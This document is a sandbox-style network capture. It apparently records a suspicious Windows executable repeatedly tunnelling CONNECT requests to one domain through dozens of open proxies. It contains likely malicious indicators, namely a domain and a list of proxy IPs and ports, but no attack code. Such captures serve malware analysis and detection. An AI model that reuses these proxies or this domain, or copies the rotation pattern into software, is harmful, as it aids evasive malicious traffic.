Feb 23, 2024 09:45:20.677939892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	51271	58.234.116.197	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.589853048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	51455	104.16.81.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.591067076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.678809881 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	51461	104.21.124.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.600662947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.687841892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	51062	222.223.103.232	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.604914904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.037353039 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	51458	67.43.236.20	15427	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.606280088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.338567019 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	51390	174.77.111.197	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.617212057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	51494	172.67.182.0	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.617465019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.704466105 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	51195	49.228.131.169	5000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.617470026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.980422974 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	51503	31.43.179.160	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.617541075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.704451084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	51489	104.20.75.69	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.617588043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.705073118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	51393	5.9.98.142	3000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.632742882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	51295	3.37.125.76	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.640146971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.973434925 CET	144	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/plain X-Powered-By: Express Server: squid/4.14 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	51525	172.67.25.204	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.642365932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.735295057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	51366	93.126.56.30	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.645734072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	51269	39.105.27.30	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.650259018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.039572954 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	51433	141.94.174.6	1647	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.653789997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	51565	104.17.9.114	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.659492016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.746424913 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	51362	221.153.92.39	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.662637949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.943171978 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	51336	102.132.57.90	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.667972088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	51252	223.113.80.158	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.672349930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.059962034 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	51508	50.63.12.33	9367	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.677006006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.178180933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.681340933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680813074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680958986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682894945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680406094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365952015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	51486	98.188.47.150	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.681366920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	51559	159.203.61.169	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.684851885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.088807106 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	50683	167.172.159.43	13988	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.688322067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.829854012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	51391	94.20.183.172	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.700412035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.4	51491	213.136.78.200	40927	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.701805115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.4	51590	92.204.134.38	15393	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.702327013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.037508965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.443850994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.099018097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.419401884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740986109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943994999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.443981886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.317179918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.4	51575	139.180.39.205	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.718707085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.907772064 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.4	51316	146.190.84.209	26154	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.730190039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.586980104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893233061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.4	51552	137.184.182.145	15685	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.730192900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
